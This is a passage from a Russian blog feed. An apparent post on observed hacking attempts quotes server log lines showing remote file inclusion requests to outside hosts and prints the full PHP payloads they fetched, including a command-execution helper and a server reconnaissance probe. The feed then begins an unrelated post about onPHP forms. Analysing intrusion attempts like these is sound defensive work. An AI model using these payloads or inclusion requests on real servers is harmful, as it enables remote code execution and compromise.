client: 89.38.128.140, server: ***, request: &quot;</span>GET <span style="color: #000000; font-weight: bold;">//</span>?_SERVER<span style="color: #7a0874; font-weight: bold;">&#91;</span>DOCUMENT_ROOT<span style="color: #7a0874; font-weight: bold;">&#93;</span>=http:<span style="color: #000000; font-weight: bold;">//</span>hiiraginao.com<span style="color: #000000; font-weight: bold;">//</span>test.gif??</div></div>
<p>Файлик test.gif следующего содержания:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0 Transitional//EN&quot;&gt;<br />
&lt;!-- saved from url=(0036)http://www.depo.org.pk/images/21/ts? --&gt;<br />
&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;SysTrojan&lt;/TITLE&gt;<br />
&lt;META http-equiv=Content-Type content=&quot;text/html; charset=windows-1252&quot;&gt;<br />
&lt;META content=&quot;MSHTML 6.00.2900.5512&quot; name=GENERATOR&gt;&lt;/HEAD&gt;<br />
&lt;BODY bgColor=#dc143c&gt;<br />
&lt;H1&gt;Wrong Place&lt;/H1&gt;<span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;uid&quot;</span><span style="color: #339933;">,</span>ex<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;id&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Windows&quot;</span><span style="color: #339933;">,</span>ex<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;net start&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Safe Mode of this Server is : &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SafemodeOFF&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
<a href="http://www.php.net/ini_restore"><span style="color: #990000;">ini_restore</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;safe_mode&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/ini_restore"><span style="color: #990000;">ini_restore</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;open_basedir&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;uid&quot;</span><span style="color: #339933;">,</span>ex<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;id&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/eregi"><span style="color: #990000;">eregi</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Windows&quot;</span><span style="color: #339933;">,</span>ex<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;net start&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Safe Mode of this Server is : &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SafemodeOFF&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Safe Mode of this Server is : &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SafemodeON&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> ex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'exec'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/exec"><span style="color: #990000;">exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #339933;">,</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/join"><span style="color: #990000;">join</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'shell_exec'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/shell_exec"><span style="color: #990000;">shell_exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'system'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/system"><span style="color: #990000;">system</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/ob_get_contents"><span style="color: #990000;">ob_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_end_clean"><span style="color: #990000;">ob_end_clean</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'passthru'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/passthru"><span style="color: #990000;">passthru</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/ob_get_contents"><span style="color: #990000;">ob_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_end_clean"><span style="color: #990000;">ob_end_clean</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/is_resource"><span style="color: #990000;">is_resource</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/popen"><span style="color: #990000;">popen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!@</span><a href="http://www.php.net/feof"><span style="color: #990000;">feof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$res</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span>1024<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/pclose"><span style="color: #990000;">pclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$res</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/BODY&gt;&lt;/HTML&gt;</div></div>
<p>Ну и последний на сегодня</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 89.185.231.103, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET //?_SERVER[DOCUMENT_ROOT]=http://www.solmae.co.kr/upload/bbs/conf2.txt????</span></div></div>
<p>и файлик conf2.txt следующего содержания:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span><br />
<br />
<span style="color: #000088;">$dir</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/getcwd"><span style="color: #990000;">getcwd</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$ker</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/php_uname"><span style="color: #990000;">php_uname</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;1&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;7&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$OS</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #009900; font-weight: bold;">PHP_OS</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;br&gt;OSTYPE:<span style="color: #006699; font-weight: bold;">$OS</span>&lt;br&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;br&gt;Kernel:<span style="color: #006699; font-weight: bold;">$ker</span>&lt;br&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$free</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/disk_free_space"><span style="color: #990000;">disk_free_space</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$free</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$free</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$free</span> <span style="color: #339933;">&lt;</span> 0<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$free</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Free:&quot;</span><span style="color: #339933;">.</span>view_size<span style="color: #009900;">&#40;</span><span style="color: #000088;">$free</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;br&gt;&quot;</span><span style="color: #339933;">;</span> <br />
<span style="color: #000088;">$cmd</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;id&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$eseguicmd</span><span style="color: #339933;">=</span>ex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$eseguicmd</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> ex<span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'exec'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/exec"><span style="color: #990000;">exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #339933;">,</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/join"><span style="color: #990000;">join</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$res</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'shell_exec'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/shell_exec"><span style="color: #990000;">shell_exec</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'system'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/system"><span style="color: #990000;">system</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/ob_get_contents"><span style="color: #990000;">ob_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_end_clean"><span style="color: #990000;">ob_end_clean</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/function_exists"><span style="color: #990000;">function_exists</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'passthru'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_start"><span style="color: #990000;">ob_start</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/passthru"><span style="color: #990000;">passthru</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/ob_get_contents"><span style="color: #990000;">ob_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/ob_end_clean"><span style="color: #990000;">ob_end_clean</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><a href="http://www.php.net/is_resource"><span style="color: #990000;">is_resource</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/popen"><span style="color: #990000;">popen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cfe</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!@</span><a href="http://www.php.net/feof"><span style="color: #990000;">feof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$res</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span>1024<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
<span style="color: #339933;">@</span><a href="http://www.php.net/pclose"><span style="color: #990000;">pclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#125;</span><br />
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$res</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> view_size<span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #009900;">&#41;</span> <br />
<span style="color: #009900;">&#123;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/is_numeric"><span style="color: #990000;">is_numeric</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">else</span> <br />
<span style="color: #009900;">&#123;</span> <br />
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">&gt;=</span> 1073741824<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">1073741824</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">100</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; GB&quot;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">&gt;=</span> 1048576<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">1048576</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">100</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; MB&quot;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">&gt;=</span> 1024<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/round"><span style="color: #990000;">round</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">1024</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">100</span> <span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; KB&quot;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$size</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; B&quot;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <br />
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$size</span><span style="color: #339933;">;</span> <br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span> <br />
<br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;br&gt;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;1&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;2&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;3&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;4&lt;br&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/hacking-part-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>onPHP 1.1 удобные формы</title>
		<link>http://svdev.ru/blog/onphp-1-1-forms/</link>
		<comments>http://svdev.ru/blog/onphp-1-1-forms/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 15:38:53 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[onPHP]]></category>

		<guid isPermaLink="false">http://svdev.ru/blog/onphp-1-1-%d1%83%d0%b4%d0%be%d0%b1%d0%bd%d1%8b%d0%b5-%d1%84%d0%be%d1%80%d0%bc%d1%8b/</guid>
		<description><![CDATA[Наконец-то формы стали более дружелюбны к разработчика. Убрали широко используемые до этого addRule&#40;&#41; вместо них теперь можно добавлять свои ошибки на поля формы в дополнение к стандартным отсутствие/неверное значение.
Еще из приятных вещей, что можно получить ошибку для конкретного поля, не придумывая для этого замысловатые конструкции (не все же ведь ошибки выводят скопом, некоторые и около [...]]]></description>
			<content:encoded><![CDATA[<p>Наконец-то формы стали более дружелюбны к разработчика. Убрали широко используемые до этого <code class="codecolorer php default"><span class="php">addRule<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span></span></code> вместо них теперь можно добавлять свои ошибки на поля формы в дополнение к стандартным отсутствие/неверное значение.<br />
Еще из приятных вещей, что можно получить ошибку для конкретного поля, не придумывая для этого замысловатые конструкции (не все же ведь ошибки выводят скопом, некоторые и около полей); появились еще и описания ошибок &#8211; дополнительные поля, которые можно использовать (а можно и не использовать) по своему усмотрению.<br />
